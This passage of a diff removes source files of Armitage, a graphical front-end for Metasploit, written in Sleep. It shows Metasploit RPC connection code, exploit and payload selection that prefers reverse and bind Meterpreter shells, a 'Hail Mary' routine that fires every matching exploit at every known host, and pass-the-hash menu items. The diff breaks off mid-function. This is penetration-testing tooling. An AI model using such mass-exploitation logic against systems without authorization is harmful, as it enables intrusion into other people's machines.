|
||||||
[$progress setProgress: 65];
|
|
||||||
|
|
||||||
@exploits = sorta(call($mclient, "module.exploits")["modules"]);
|
|
||||||
|
|
||||||
[$progress setNote: "Connected: Fetching auxiliary modules"];
|
|
||||||
[$progress setProgress: 70];
|
|
||||||
|
|
||||||
@auxiliary = sorta(call($mclient, "module.auxiliary")["modules"]);
|
|
||||||
|
|
||||||
[$progress setNote: "Connected: Fetching payloads"];
|
|
||||||
[$progress setProgress: 80];
|
|
||||||
|
|
||||||
@payloads = sorta(call($mclient, "module.payloads")["modules"]);
|
|
||||||
|
|
||||||
[$progress setNote: "Connected: Fetching post modules"];
|
|
||||||
[$progress setProgress: 90];
|
|
||||||
|
|
||||||
@post = sorta(call($mclient, "module.post")["modules"]);
|
|
||||||
|
|
||||||
[$progress setNote: "Connected: Starting script engine"];
|
|
||||||
[$progress setProgress: 95];
|
|
||||||
|
|
||||||
$cortana = [new cortana.Cortana: $client, $mclient, $__events__, $__filters__];
|
|
||||||
[$cortana setupCallbackIO];
|
|
||||||
|
|
||||||
[$progress close];
|
|
||||||
|
|
||||||
local('$frame');
|
|
||||||
$frame = main();
|
|
||||||
[$cortana setupArmitage: $frame, $preferences];
|
|
||||||
|
|
||||||
# export some local functions for use by Cortana...
|
|
||||||
[[$cortana getSharedData] put: "&launch_dialog", &launch_dialog];
|
|
||||||
[[$cortana getSharedData] put: "&attack_dialog", &attack_dialog];
|
|
||||||
[[$cortana getSharedData] put: "&savePreferences", &savePreferences];
|
|
||||||
[[$cortana getSharedData] put: "&showModules", &showModules];
|
|
||||||
[[$cortana getSharedData] put: "&show_login_dialog", &show_login_dialog];
|
|
||||||
[[$cortana getSharedData] put: "&show_psexec_dialog", &pass_the_hash];
|
|
||||||
[[$cortana getSharedData] put: "&module_execute", &module_execute];
|
|
||||||
[[$cortana getSharedData] put: "&createDashboard", &createDashboard];
|
|
||||||
[[$cortana getSharedData] put: "&launch_msf_scans", &launch_msf_scans];
|
|
||||||
[[$cortana getSharedData] put: "&quickListDialog", &quickListDialog];
|
|
||||||
[[$cortana getSharedData] put: "&setupConsoleStyle", &setupConsoleStyle];
|
|
||||||
[[$cortana getSharedData] put: "&showScriptConsole", &showScriptConsole];
|
|
||||||
[[$cortana getSharedData] put: "&generateArtifacts", &_generateArtifacts];
|
|
||||||
[[$cortana getSharedData] put: "&createFileBrowser", &createFileBrowser];
|
|
||||||
|
|
||||||
if ($MY_ADDRESS ne "") {
|
|
||||||
warn("Starting Cortana on $MY_ADDRESS ...");
|
|
||||||
[$cortana start: $MY_ADDRESS];
|
|
||||||
}
|
|
||||||
|
|
||||||
# this will tell Cortana to start consuming the output from our scripts.
|
|
||||||
getCortanaConsole();
|
|
||||||
|
|
||||||
local('$script');
|
|
||||||
foreach $script (listScripts()) {
|
|
||||||
try {
|
|
||||||
if (-exists $script && -canread $script) {
|
|
||||||
[$progress setNote: "Connected: Loading $script"];
|
|
||||||
[$cortana loadScript: $script];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
showError("Could not load $script $+ :\n $+ $exception");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
createDashboard();
|
|
||||||
}, \$progress));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub main {
|
|
||||||
local('$console $panel $dir $app');
|
|
||||||
|
|
||||||
$frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient];
|
|
||||||
[$frame setTitle: $TITLE];
|
|
||||||
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
|
||||||
init_menus($frame);
|
|
||||||
initLogSystem();
|
|
||||||
|
|
||||||
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
|
|
||||||
# separate thread (Sleep threads don't share data/locks).
|
|
||||||
fork({
|
|
||||||
[$__frame__ addWindowListener: {
|
|
||||||
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
|
|
||||||
closef($msfrpc_handle);
|
|
||||||
}
|
|
||||||
}];
|
|
||||||
}, \$msfrpc_handle, \$__frame__);
|
|
||||||
|
|
||||||
dispatchEvent({
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
createEventLogTab();
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
createConsoleTab();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
if (-exists "command.txt") {
|
|
||||||
deleteFile("command.txt");
|
|
||||||
}
|
|
||||||
|
|
||||||
return $frame;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub checkDir {
|
|
||||||
# set the directory where everything exciting and fun will happen.
|
|
||||||
if (cwd() eq "/Applications" || !-canwrite cwd() || isWindows()) {
|
|
||||||
local('$dir');
|
|
||||||
$dir = getFileProper(systemProperties()["user.home"], "armitage-tmp");
|
|
||||||
if (!-exists $dir) {
|
|
||||||
mkdir($dir);
|
|
||||||
}
|
|
||||||
chdir($dir);
|
|
||||||
warn("Saving files to $dir");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
checkDir();
|
|
||||||
|
|
||||||
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
|
|
||||||
local('$config');
|
|
||||||
$config = [new Properties];
|
|
||||||
[$config load: [new java.io.FileInputStream: $CLIENT_CONFIG]];
|
|
||||||
connectToMetasploit([$config getProperty: "host", "127.0.0.1"],
|
|
||||||
[$config getProperty: "port", "55553"],
|
|
||||||
[$config getProperty: "user", "msf"],
|
|
||||||
[$config getProperty: "pass", "test"], 1);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
connectDialog();
|
|
||||||
}
|
|
|
@ -1,735 +0,0 @@
|
||||||
#
|
|
||||||
# Code to create the various attack menus based on db_autopwn
|
|
||||||
#
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
global('%results @always_reverse %exploits %results2');
|
|
||||||
%results = ohash();
|
|
||||||
%results2 = ohash();
|
|
||||||
setMissPolicy(%results, { return @(); });
|
|
||||||
setMissPolicy(%results2, { return @(); });
|
|
||||||
|
|
||||||
# %exploits is populated in menus.sl when the client-side attacks menu is constructed
|
|
||||||
|
|
||||||
# a list of exploits that should always use a reverse shell... this list needs to grow.
|
|
||||||
@always_reverse = @("multi/samba/usermap_script", "unix/misc/distcc_exec", "windows/http/xampp_webdav_upload_php", "windows/postgres/postgres_payload", "linux/postgres/postgres_payload");
|
|
||||||
|
|
||||||
#
|
|
||||||
# generate menus for a given OS
|
|
||||||
#
|
|
||||||
sub exploit_menus {
|
|
||||||
local('%toplevel @allowed $ex $os $port $exploit');
|
|
||||||
%toplevel = ohash();
|
|
||||||
@allowed = getOS($1);
|
|
||||||
|
|
||||||
foreach $ex ($2) {
|
|
||||||
($os, $port, $exploit) = split('/', $ex);
|
|
||||||
if ($os in @allowed) {
|
|
||||||
if ($port !in %toplevel) {
|
|
||||||
%toplevel[$port] = %();
|
|
||||||
}
|
|
||||||
%toplevel[$port][$exploit] = $ex;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
local('%r $menu $exploits $name $exploit');
|
|
||||||
|
|
||||||
%r = ohash();
|
|
||||||
putAll(%r, sorta(keys(%toplevel)), { return 1; });
|
|
||||||
foreach $menu => $exploits (%r) {
|
|
||||||
$exploits = ohash();
|
|
||||||
foreach $name (sorta(keys(%toplevel[$menu]))) {
|
|
||||||
$exploits[$name] = %toplevel[$menu][$name];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return %r;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub targetsCombobox {
|
|
||||||
local('$key $value @targets $combobox');
|
|
||||||
foreach $key => $value ($1["targets"]) {
|
|
||||||
if (strlen($value) > 53) {
|
|
||||||
push(@targets, "$key => " . substr($value, 0, 50) . "...");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
push(@targets, "$key => $value");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$combobox = [new JComboBox: sort({
|
|
||||||
local('$a $b');
|
|
||||||
$a = int(split(' \=\> ', $1)[0]);
|
|
||||||
$b = int(split(' \=\> ', $2)[0]);
|
|
||||||
return $a <=> $b;
|
|
||||||
}, @targets)];
|
|
||||||
|
|
||||||
return $combobox;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub getOS {
|
|
||||||
local('@allowed $os');
|
|
||||||
$os = normalize($1);
|
|
||||||
|
|
||||||
if ($os eq "Windows") { @allowed = @("windows", "multi"); }
|
|
||||||
else if ($os eq "Solaris") { @allowed = @("solaris", "multi", "unix"); }
|
|
||||||
else if ($os eq "Linux") { @allowed = @("linux", "multi", "unix"); }
|
|
||||||
else if ($os eq "Mac OS X") { @allowed = @("osx", "multi", "unix"); }
|
|
||||||
else if ($os eq "FreeBSD") { @allowed = @("freebsd", "multi", "unix"); }
|
|
||||||
else { @allowed = @("multi", "unix"); }
|
|
||||||
return @allowed;
|
|
||||||
}
|
|
||||||
|
|
||||||
# findAttacks("p", "good|great|excellent", &callback) - port analysis
|
|
||||||
# findAttacks("x", "good|great|excellent", &callback) - vulnerability analysis
|
|
||||||
sub resolveAttacks {
|
|
||||||
thread(lambda(&_resolveAttacks, $args => @_));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _resolveAttacks {
|
|
||||||
# force a service data refresh before hail mary or find attacks.
|
|
||||||
_refreshServices(call($mclient, "db.services")['services']);
|
|
||||||
|
|
||||||
%results = ohash();
|
|
||||||
%results2 = ohash();
|
|
||||||
setMissPolicy(%results, { return @(); });
|
|
||||||
setMissPolicy(%results2, { return @(); });
|
|
||||||
|
|
||||||
local('%r $r $p $module $s');
|
|
||||||
%r = ohash();
|
|
||||||
setMissPolicy(%r, { return @(); });
|
|
||||||
|
|
||||||
#
|
|
||||||
# find all exploits and their associated ports
|
|
||||||
#
|
|
||||||
|
|
||||||
$s = rankScore($args[1]);
|
|
||||||
foreach $module (@exploits) {
|
|
||||||
if (%exploits[$module]["rankScore"] >= $s) {
|
|
||||||
$r = call($client, "module.options", "exploit", $module);
|
|
||||||
yield 2;
|
|
||||||
if ("RPORT" in $r && "default" in $r["RPORT"]) {
|
|
||||||
$p = $r["RPORT"]["default"];
|
|
||||||
push(%r[$p], $module);
|
|
||||||
|
|
||||||
if ($p eq "445") {
|
|
||||||
push(%r["139"], $module);
|
|
||||||
}
|
|
||||||
else if ($p eq "139") {
|
|
||||||
push(%r["139"], $module);
|
|
||||||
}
|
|
||||||
else if ($p eq "80") {
|
|
||||||
push(%r["443"], $module);
|
|
||||||
}
|
|
||||||
else if ($p eq "443") {
|
|
||||||
push(%r["80"], $module);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# for each host, see if there is an exploit associated with its port and if so, report it...
|
|
||||||
#
|
|
||||||
|
|
||||||
local('$port $modules $host $data $services $exploit');
|
|
||||||
|
|
||||||
foreach $port => $modules (%r) {
|
|
||||||
foreach $host => $data (%hosts) {
|
|
||||||
$services = $data["services"];
|
|
||||||
if ($port in $services) {
|
|
||||||
foreach $exploit ($modules) {
|
|
||||||
push(%results[$host], $exploit);
|
|
||||||
push(%results2[$host], @($exploit, $port));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[$args[2]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub findAttacks {
|
|
||||||
resolveAttacks($1, $2, {
|
|
||||||
showError("Attack Analysis Complete...\n\nYou will now see an 'Attack' menu attached\nto each host in the Targets window.\n\nHappy hunting!");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
sub smarter_autopwn {
|
|
||||||
local('$console');
|
|
||||||
elog("has given up and launched the hail mary!");
|
|
||||||
|
|
||||||
$console = createDisplayTab("Hail Mary", 1, $host => "all", $file => "hailmary");
|
|
||||||
[[$console getWindow] append: "\n\n1) Finding exploits (via local magic)\n\n"];
|
|
||||||
|
|
||||||
resolveAttacks($1, $2, lambda({
|
|
||||||
# now crawl through %results and start hacking each host in turn
|
|
||||||
local('$host $exploits @allowed $ex $os $port $exploit @attacks %dupes $e $p');
|
|
||||||
|
|
||||||
# filter the attacks...
|
|
||||||
foreach $host => $exploits (%results2) {
|
|
||||||
%dupes = %();
|
|
||||||
@allowed = getOS(getHostOS($host));
|
|
||||||
|
|
||||||
foreach $e ($exploits) {
|
|
||||||
($ex, $p) = $e;
|
|
||||||
($os, $port, $exploit) = split('/', $ex);
|
|
||||||
if ($os in @allowed && $ex !in %dupes) {
|
|
||||||
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), $p, %exploits[$ex]));
|
|
||||||
if ($p eq "139") {
|
|
||||||
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), 445, %exploits[$ex]));
|
|
||||||
}
|
|
||||||
%dupes[$ex] = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
[[$console getWindow] append: "\t[ $+ $host $+ ] Found " . size($exploits) . " exploits\n" ];
|
|
||||||
}
|
|
||||||
|
|
||||||
[[$console getWindow] append: "\n2) Sorting Exploits\n"];
|
|
||||||
|
|
||||||
# now sort them, so the best ones are on top...
|
|
||||||
sort({
|
|
||||||
local('$a $b');
|
|
||||||
if ($1[1] !in %exploits) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
if ($2[1] !in %exploits) {
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
$a = %exploits[$1[1]];
|
|
||||||
$b = %exploits[$2[1]];
|
|
||||||
|
|
||||||
if ($a['rankScore'] eq $b['rankScore']) {
|
|
||||||
return $b['date'] <=> $a['date'];
|
|
||||||
}
|
|
||||||
|
|
||||||
return $b['rankScore'] <=> $a['rankScore'];
|
|
||||||
}, @attacks);
|
|
||||||
|
|
||||||
[[$console getWindow] append: "\n3) Launching Exploits\n\n"];
|
|
||||||
|
|
||||||
# now execute them...
|
|
||||||
local('$progress');
|
|
||||||
$progress = [new ProgressMonitor: $null, "Launching Exploits...", "...", 0, size(@attacks)];
|
|
||||||
|
|
||||||
thread(lambda({
|
|
||||||
local('$host $ex $payload $x $rport %wait $options');
|
|
||||||
while (size(@attacks) > 0 && [$progress isCanceled] == 0) {
|
|
||||||
($host, $ex, $payload, $rport) = @attacks[0];
|
|
||||||
|
|
||||||
# let's throttle our exploit/host velocity a little bit.
|
|
||||||
if ((ticks() - %wait[$host]) > 1250) {
|
|
||||||
yield 250;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
yield 1500;
|
|
||||||
}
|
|
||||||
|
|
||||||
[$progress setNote: "$host $+ : $+ $rport ( $+ $ex $+ )"];
|
|
||||||
[$progress setProgress: $x + 0];
|
|
||||||
|
|
||||||
$options = %(PAYLOAD => $payload, RHOST => $host, LHOST => $MY_ADDRESS, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1'));
|
|
||||||
($ex, $host, $options) = filter_data("exploit", $ex, $host, $options);
|
|
||||||
call_async($client, "module.execute", "exploit", $ex, $options);
|
|
||||||
%wait[$host] = ticks();
|
|
||||||
$x++;
|
|
||||||
@attacks = sublist(@attacks, 1);
|
|
||||||
}
|
|
||||||
[$progress close];
|
|
||||||
|
|
||||||
[[$console getWindow] append: "\n\n4) Listing sessions\n\n"];
|
|
||||||
|
|
||||||
[$console addCommand: $null, "sessions -v"];
|
|
||||||
[$console start];
|
|
||||||
[$console stop];
|
|
||||||
}, \@attacks, \$progress, \$console));
|
|
||||||
}, \$console));
|
|
||||||
}
|
|
||||||
|
|
||||||
# choose a payload...
|
|
||||||
# best_client_payload(exploit, target)
|
|
||||||
sub best_client_payload {
|
|
||||||
local('$os');
|
|
||||||
$os = split('/', $1)[0];
|
|
||||||
|
|
||||||
if ($os eq "windows" || "*Windows*" iswm $2) {
|
|
||||||
return "windows/meterpreter/reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ("*Generic*Java*" iswm $2) {
|
|
||||||
return "java/meterpreter/reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ("*Mac*OS*PPC*" iswm $2 || ($os eq "osx" && "*PPC*" iswm $2)) {
|
|
||||||
return "osx/ppc/shell/reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ("*Mac*OS*x86*" iswm $2 || "*Mac*OS*" iswm $2 || "*OS X*" iswm $2 || $os eq "osx") {
|
|
||||||
return "osx/x86/vforkshell/reverse_tcp";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return "generic/shell_reverse_tcp";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub isIPv6 {
|
|
||||||
local('$inet $exception');
|
|
||||||
try {
|
|
||||||
$inet = [java.net.InetAddress getByName: $1];
|
|
||||||
if ($inet isa ^java.net.Inet6Address) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch $exception { }
|
|
||||||
return $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
# choose a payload...
|
|
||||||
# best_payload(host, exploit, reverse preference)
|
|
||||||
sub best_payload {
|
|
||||||
local('$compatible $os $win');
|
|
||||||
$compatible = call($client, "module.compatible_payloads", $2)["payloads"];
|
|
||||||
$os = iff($1 in %hosts, %hosts[$1]['os_name']);
|
|
||||||
$win = iff($os eq "Windows" || "windows" isin $2);
|
|
||||||
|
|
||||||
if ($3) {
|
|
||||||
if ($win && "windows/meterpreter/reverse_tcp" in $compatible) {
|
|
||||||
return "windows/meterpreter/reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ($win && "windows/shell/reverse_tcp" in $compatible) {
|
|
||||||
return "windows/shell/reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ("java/meterpreter/reverse_tcp" in $compatible) {
|
|
||||||
return "java/meterpreter/reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ("java/shell/reverse_tcp" in $compatible) {
|
|
||||||
return "java/shell/reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ("java/jsp_shell_reverse_tcp" in $compatible) {
|
|
||||||
return "java/jsp_shell_reverse_tcp";
|
|
||||||
}
|
|
||||||
else if ("php/meterpreter_reverse_tcp" in $compatible) {
|
|
||||||
return "php/meterpreter_reverse_tcp";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return "generic/shell_reverse_tcp";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($win && "windows/meterpreter/bind_tcp" in $compatible) {
|
|
||||||
if (isIPv6($1)) {
|
|
||||||
return "windows/meterpreter/bind_ipv6_tcp";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return "windows/meterpreter/bind_tcp";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($win && "windows/shell/bind_tcp" in $compatible) {
|
|
||||||
if (isIPv6($1)) {
|
|
||||||
return "windows/shell/bind_ipv6_tcp";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return "windows/shell/bind_tcp";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("java/meterpreter/bind_tcp" in $compatible) {
|
|
||||||
return "java/meterpreter/bind_tcp";
|
|
||||||
}
|
|
||||||
else if ("java/shell/bind_tcp" in $compatible) {
|
|
||||||
return "java/shell/bind_tcp";
|
|
||||||
}
|
|
||||||
else if ("java/jsp_shell_bind_tcp" in $compatible) {
|
|
||||||
return "java/jsp_shell_bind_tcp";
|
|
||||||
}
|
|
||||||
else if ("cmd/unix/interact" in $compatible) {
|
|
||||||
return "cmd/unix/interact";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return "generic/shell_bind_tcp";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub addAdvanced {
|
|
||||||
local('$d');
|
|
||||||
$d = [new JCheckBox: " Show advanced options"];
|
|
||||||
[$d addActionListener: lambda({
|
|
||||||
[$model showHidden: [$d isSelected]];
|
|
||||||
[$model fireListeners];
|
|
||||||
}, \$model, \$d)];
|
|
||||||
return $d;
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# pop up a dialog to start our attack with... fun fun fun
|
|
||||||
#
|
|
||||||
sub attack_dialog {
|
|
||||||
local('$dialog $north $center $south $center @targets $combobox $label $textarea $scroll $model $key $table $sorter $col $d $b $c $button $x $value');
|
|
||||||
|
|
||||||
$dialog = dialog("Attack " . join(', ', $3), 590, 360);
|
|
||||||
|
|
||||||
$north = [new JPanel];
|
|
||||||
[$north setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$label = [new JLabel: $1["name"]];
|
|
||||||
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
|
|
||||||
|
|
||||||
[$north add: $label, [BorderLayout NORTH]];
|
|
||||||
|
|
||||||
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $1["description"])) trim]];
|
|
||||||
[$textarea setEditable: 0];
|
|
||||||
[$textarea setOpaque: 1];
|
|
||||||
[$textarea setLineWrap: 1];
|
|
||||||
[$textarea setWrapStyleWord: 1];
|
|
||||||
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
|
||||||
$scroll = [new JScrollPane: $textarea];
|
|
||||||
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
|
||||||
|
|
||||||
[$north add: $scroll, [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
|
|
||||||
[$model setCellEditable: 1];
|
|
||||||
foreach $key => $value ($2) {
|
|
||||||
if ($key eq "RHOST") {
|
|
||||||
$value["default"] = join(", ", $3);
|
|
||||||
}
|
|
||||||
else if ($key eq "RHOSTS") {
|
|
||||||
$value["default"] = join(", ", $3);
|
|
||||||
}
|
|
||||||
|
|
||||||
[$model _addEntry: %(Option => $key,
|
|
||||||
Value => $value["default"],
|
|
||||||
Tooltip => $value["desc"],
|
|
||||||
Hide =>
|
|
||||||
iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1')
|
|
||||||
)
|
|
||||||
];
|
|
||||||
}
|
|
||||||
[$model _addEntry: %(Option => "LHOST", Value => $MY_ADDRESS, Tooltip => "Address (for connect backs)", Hide => '0')];
|
|
||||||
[$model _addEntry: %(Option => "LPORT", Value => randomPort(), Tooltip => "Bind meterpreter to this port", Hide => '0')];
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
addFileListener($table, $model);
|
|
||||||
|
|
||||||
local('$TABLE_RENDERER');
|
|
||||||
$TABLE_RENDERER = tableRenderer($table, $model);
|
|
||||||
|
|
||||||
foreach $col (@("Option", "Value")) {
|
|
||||||
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
|
|
||||||
}
|
|
||||||
|
|
||||||
$center = [new JScrollPane: $table];
|
|
||||||
|
|
||||||
$south = [new JPanel];
|
|
||||||
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
|
||||||
#[$south setLayout: [new GridLayout: 4, 1]];
|
|
||||||
|
|
||||||
$d = addAdvanced(\$model);
|
|
||||||
|
|
||||||
$combobox = targetsCombobox($1);
|
|
||||||
|
|
||||||
$b = [new JCheckBox: " Use a reverse connection"];
|
|
||||||
|
|
||||||
if ($4 in @always_reverse) {
|
|
||||||
[$b setSelected: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
$c = [new JPanel];
|
|
||||||
[$c setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
|
||||||
|
|
||||||
$button = [new JButton: "Launch"];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('$options $host $x');
|
|
||||||
syncTable($table);
|
|
||||||
|
|
||||||
$options = %();
|
|
||||||
|
|
||||||
for ($x = 0; $x < [$model getRowCount]; $x++) {
|
|
||||||
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
|
|
||||||
|
|
||||||
if ('RHOSTS' in $options) {
|
|
||||||
thread(lambda({
|
|
||||||
local('$hosts $host');
|
|
||||||
$hosts = split(', ', $options["RHOSTS"]);
|
|
||||||
|
|
||||||
if (size($hosts) == 0) {
|
|
||||||
showError("Please specify an RHOSTS value");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$options["PAYLOAD"] = best_payload($hosts[0], $exploit, [$b isSelected]);
|
|
||||||
|
|
||||||
if ([$b isSelected]) {
|
|
||||||
$options["LPORT"] = randomPort();
|
|
||||||
}
|
|
||||||
|
|
||||||
# give scripts a chance to filter this data.
|
|
||||||
foreach $host ($hosts) {
|
|
||||||
($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options);
|
|
||||||
}
|
|
||||||
|
|
||||||
module_execute("exploit", $exploit, copy($options));
|
|
||||||
|
|
||||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
|
|
||||||
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
|
|
||||||
}
|
|
||||||
}, $options => copy($options), \$exploit, \$b));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
thread(lambda({
|
|
||||||
local('$host $hosts');
|
|
||||||
$hosts = split(', ', $options["RHOST"]);
|
|
||||||
|
|
||||||
foreach $host ($hosts) {
|
|
||||||
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
|
|
||||||
$options["RHOST"] = $host;
|
|
||||||
if ([$b isSelected]) {
|
|
||||||
$options["LPORT"] = randomPort();
|
|
||||||
}
|
|
||||||
|
|
||||||
($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options);
|
|
||||||
|
|
||||||
if (size($hosts) >= 4) {
|
|
||||||
call_async($client, "module.execute", "exploit", $exploit, $options);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
module_execute("exploit", $exploit, copy($options));
|
|
||||||
}
|
|
||||||
yield 100;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
|
|
||||||
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
|
|
||||||
}
|
|
||||||
}, $options => copy($options), \$exploit, \$b));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!isShift($1)) {
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
elog("exploit $exploit @ " . $options["RHOST"]);
|
|
||||||
}, $exploit => $4, \$model, \$combobox, \$dialog, \$b, \$table)];
|
|
||||||
|
|
||||||
[$c add: $button];
|
|
||||||
|
|
||||||
[$south add: left([new JLabel: "Targets: "], $combobox)];
|
|
||||||
[$south add: left($b)];
|
|
||||||
[$south add: left($d)];
|
|
||||||
[$south add: $c];
|
|
||||||
|
|
||||||
#[$dialog add: $north, [BorderLayout NORTH]];
|
|
||||||
local('$s');
|
|
||||||
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
|
|
||||||
[$center setPreferredSize: [new Dimension: 0, 0]];
|
|
||||||
[$north setPreferredSize: [new Dimension: 480, 76]];
|
|
||||||
[$s resetToPreferredSizes];
|
|
||||||
[$s setOneTouchExpandable: 1];
|
|
||||||
|
|
||||||
[$dialog add: $s, [BorderLayout CENTER]];
|
|
||||||
[$dialog add: $south, [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$button requestFocus];
|
|
||||||
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub min_rank {
|
|
||||||
return [$preferences getProperty: "armitage.required_exploit_rank.string", "great"];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub host_attack_items {
|
|
||||||
local('%m');
|
|
||||||
|
|
||||||
# we're going to take the OS of the first host...
|
|
||||||
%m = exploit_menus(%hosts[$2[0]]['os_name'], %results[$2[0]]);
|
|
||||||
|
|
||||||
if (size(%m) > 0) {
|
|
||||||
local('$a $service $exploits $e $name $exploit');
|
|
||||||
|
|
||||||
$a = menu($1, "Attack", 'A');
|
|
||||||
|
|
||||||
foreach $service => $exploits (%m) {
|
|
||||||
$e = menu($a, $service, $null);
|
|
||||||
foreach $name => $exploit ($exploits) {
|
|
||||||
item($e, $name, $null, lambda({
|
|
||||||
thread(lambda({
|
|
||||||
local('$a $b');
|
|
||||||
$a = call($mclient, "module.info", "exploit", $exploit);
|
|
||||||
$b = call($mclient, "module.options", "exploit", $exploit);
|
|
||||||
attack_dialog($a, $b, $hosts, $exploit);
|
|
||||||
}, \$exploit, \$hosts));
|
|
||||||
}, \$exploit, $hosts => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($service eq "smb") {
|
|
||||||
item($e, "pass the hash...", 'p', lambda(&pass_the_hash, $hosts => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (size($exploits) > 0) {
|
|
||||||
separator($e);
|
|
||||||
item($e, "check exploits...", 'c', lambda({
|
|
||||||
local('$result $h $console');
|
|
||||||
$console = createDisplayTab("Check Exploits", 1);
|
|
||||||
|
|
||||||
$h = $hosts[0];
|
|
||||||
foreach $result (values($exploits)) {
|
|
||||||
[$console addCommand: $null, "ECHO \n\n===== Checking $result =====\n\n"];
|
|
||||||
